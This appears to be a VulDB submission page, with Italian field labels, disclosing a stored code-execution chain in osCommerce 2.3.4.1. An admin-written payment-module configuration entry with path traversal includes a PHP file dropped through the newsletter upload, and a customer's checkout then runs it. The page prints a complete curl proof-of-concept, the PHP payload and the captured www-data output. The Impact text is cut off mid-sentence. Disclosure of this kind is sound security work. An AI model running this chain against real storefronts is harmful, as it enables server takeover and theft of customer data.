| Titolo | osCommerce osCommerce2 2.3.4.1 Code Injection |
|---|
| Descrizione |
## Affected Software
- Product: osCommerce Online Merchant
- Version: x.x.x.x
- Repository: https://github.com/osCommerce/oscommerce2
- Source identifier: tag `v2.3.4.1`, commit `94e9e9efe7994bf88d8ade2e64881b4bfe1745d4`
## Vulnerability Description
When the osCommerce storefront builds the payment-method list during checkout, it splits the configuration constant `MODULE_PAYMENT_INSTALLED` on semicolons and uses each entry verbatim as a file-include path and class name, loaded through `include()` in `includes/classes/payment.php` — with no `basename()` normalization, no `../` filtering, no allow-list of installed modules, and no `file_exists` check.
The constant is a row in the configuration table, and the save action of `admin/modules.php` applies no source or format validation to submitted configuration values: an authenticated admin can write an entry containing path traversal pointing at a PHP file previously dropped through another application flaw (the upload class of the newsletter manager writes files with no extension restriction — the same application, see the related write-up). The configuration value is `define()`d on every storefront request straight from the database, so the poisoned entry takes effect immediately — after which any regular customer, with no privileges beyond shopping, triggers execution of the included PHP file as the web server user (www-data) simply by opening the checkout payment page `checkout_payment.php`. The injecting party (admin) and the triggering party (storefront customer) are separate identities, and the payload persists in the database and on the file system — stored, second-order code execution across identities.
## Root Cause
Execution side — the constructor of `includes/classes/payment.php` turns each entry of `MODULE_PAYMENT_INSTALLED` verbatim into an include path and class name:
```php
if (defined('MODULE_PAYMENT_INSTALLED') && tep_not_null(MODULE_PAYMENT_INSTALLED)) {
$this->modules = explode(';', MODULE_PAYMENT_INSTALLED);
$include_modules = array();
if ( (tep_not_null($module)) && (in_array($module . '.' . substr($PHP_SELF, (strrpos($PHP_SELF, '.')+1)), $this->modules)) ) {
$this->selected_module = $module;
$include_modules[] = array('class' => $module, 'file' => $module . '.php');
} else {
reset($this->modules);
while (list(, $value) = each($this->modules)) {
$class = substr($value, 0, strrpos($value, '.'));
$include_modules[] = array('class' => $class, 'file' => $value);
}
}
for ($i=0, $n=sizeof($include_modules); $i<$n; $i++) {
include(DIR_WS_LANGUAGES . $language . '/modules/payment/' . $include_modules[$i]['file']);
include(DIR_WS_MODULES . 'payment/' . $include_modules[$i]['file']);
$GLOBALS[$include_modules[$i]['class']] = new $include_modules[$i]['class'];
}
// ...
```
When constructed without arguments (as `checkout_payment.php` does), every semicolon-separated entry lands in `$include_modules`, and the entry string is concatenated raw into `include(DIR_WS_MODULES . 'payment/' . $file)` — traversal sequences and arbitrary file names pass through untouched, and the entry doubles as the class name.
Write side — the save branch of `admin/modules.php` writes the POSTed configuration values straight into the database:
```php
case 'save':
reset($HTTP_POST_VARS['configuration']);
while (list($key, $value) = each($HTTP_POST_VARS['configuration'])) {
tep_db_query("update " . TABLE_CONFIGURATION . " set configuration_value = '" . $value . "' where configuration_key = '" . $key . "'");
}
// ...
```
There is no format check for `configuration[MODULE_PAYMENT_INSTALLED]` (the semicolon entries could trivially be validated against the installed-module list; the code does not do so). The storefront `define()`s the constant from the configuration table on every request via `includes/application_top.php`, so a poisoned value applies to all storefront requests immediately.
## Proof of Concept
The payload-drop step uses the same file-drop primitive as the newsletter manager's upload class (mechanism described above): create a record with `module=upload`, then push a PHP file to `catalog/admin/backups/<marker>.php` via multipart. The full chain below is plain curl.
Log into the admin panel to obtain a session (no CSRF token):
```bash
curl -c admin.jar -s 'http://<target>/catalog/admin/login.php' > /dev/null
curl -c admin.jar -s -d 'username=<admin_user>&password=<admin_pass>&login=Log In' \
'http://<target>/catalog/admin/login.php?action=process' > /dev/null
```
[State setup] Create a newsletter record with `module=upload` (`title` names the multipart field, `content` the destination directory):
```bash
curl -b admin.jar -s -d 'module=upload&title=f6&content=backups%2F' \
'http://<target>/catalog/admin/newsletters.php?action=insert' > /dev/null
```
[Payload drop] Submit the multipart file (field `f6`, filename `vdy6oscq74mk1f.php`, body is a harmless echo-only payload; this request only drops the file, it does not execute it):
```bash
cat > payload.php <<'EOF'
<?php echo "VDY6-vdy6oscq74mk1f-CODE";
system("echo VDY6-vdy6oscq74mk1f-EXEC; id; touch /tmp/VDY6-vdy6oscq74mk1f");
?>
EOF
curl -b admin.jar -s -F '[email protected];filename=vdy6oscq74mk1f.php' \
'http://<target>/catalog/admin/newsletters.php?action=confirm&nID=15' > /dev/null
```
[Payload drop] Append the storefront include-traversal entry to `MODULE_PAYMENT_INSTALLED` (original value `cod.php;paypal_express.php;paypal_standard.php`; the appended entry walks three levels up from `includes/modules/payment/` into the admin panel's backups directory):
```bash
curl -b admin.jar -s \
--data-urlencode 'configuration[MODULE_PAYMENT_INSTALLED]=cod.php;paypal_express.php;paypal_standard.php;../../../admin/backups/vdy6oscq74mk1f.php' \
'http://<target>/catalog/admin/modules.php?set=payment&module=payment&action=save' > /dev/null
```
[State setup] The following is the ordinary shopping flow of a regular customer (victim) session. Customer login (`formid` is the session form token in a hidden field of the page):
```bash
curl -c victim.jar -s 'http://<target>/catalog/login.php' > /dev/null
curl -c victim.jar -s \
--data-urlencode 'formid=<formid>' \
--data-urlencode 'email_address=<customer_email>' \
--data-urlencode 'password=<customer_pass>' \
'http://<target>/catalog/login.php?action=process' > /dev/null
curl -b victim.jar -s 'http://<target>/catalog/index.php?action=buy_now&products_id=8' > /dev/null
curl -b victim.jar -s 'http://<target>/catalog/checkout_shipping.php' > /dev/null
curl -b victim.jar -s \
--data-urlencode 'formid=<formid>' \
--data-urlencode 'action=process' \
--data-urlencode 'shipping=flat_flat' \
--data-urlencode 'comments=' \
'http://<target>/catalog/checkout_shipping.php' > /dev/null
```
[Trigger] Open the checkout payment page to load the payment modules and fire the include:
```bash
curl -b victim.jar 'http://<target>/catalog/checkout_payment.php'
```
Expected result: the response body contains `VDY6-vdy6oscq74mk1f-CODE` and `VDY6-vdy6oscq74mk1f-EXEC` plus the `id` output (the included PHP code ran as www-data; the script terminates shortly after the include because the class name contains slashes, but the output has already been sent).
### Actual output (captured in a local authorized deployment)
A read-only database query inside the poisoning window confirms the include entry persisted (and the storefront `define()`s it on every request):
```
select configuration_value from configuration where configuration_key="MODULE_PAYMENT_INSTALLED";
cod.php;paypal_express.php;paypal_standard.php;../../../admin/backups/vdy6oscq74mk1f.php
```
The victim's `GET /catalog/checkout_payment.php` returned 200 with the payload output as the response body (the page terminates early, no other HTML):
```
VDY6-vdy6oscq74mk1f-CODEVDY6-vdy6oscq74mk1f-EXEC
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```
Before injection, the same URL (same victim session, clean configuration) returned 200 with a normal payment-selection page (3525 bytes) and no marker output; after the configuration was restored, the same request was clean again — the marker output can only have come from the payload injected this round. A repeat round showed that while the poisoning is in place, any new customer session reaching `checkout_payment.php` triggers execution again, with no action by the injector. Cross-checks inside the container confirmed `/tmp/VDY6-vdy6oscq74mk1f` (owned by www-data) and the dropped file `catalog/admin/backups/vdy6oscq74mk1f.php` (mode 0777).
## Impact
This chain reaches beyond the admin panel: after a single configuration write from an admin session, **any storefront customer** — needing nothing beyond normal shopping — triggers server-side arbitrary code execution (as www-data) on the checkout payment page, able to read and write any file and data reachable at that privilege and to reach into th |
|---|
| Fonte | ⚠️ https://github.com/osCommerce/oscommerce2/issues/677 |
|---|
| Utente | 360alphalab (UID 100924) |
|---|
| Sottomissione | 10/09/2026 08:18 (1 mese fa) |
|---|
| Moderazione | 04/10/2026 15:12 (24 days later) |
|---|
| Stato | Accettato |
|---|
| Voce VulDB | 413427 [osCommerce osCommerce2 fino a 2.3.4.1 Payment Page payment.php include MODULE_PAYMENT_INSTALLED escalationi di privilegi] |
|---|
| Punti | 20 |
|---|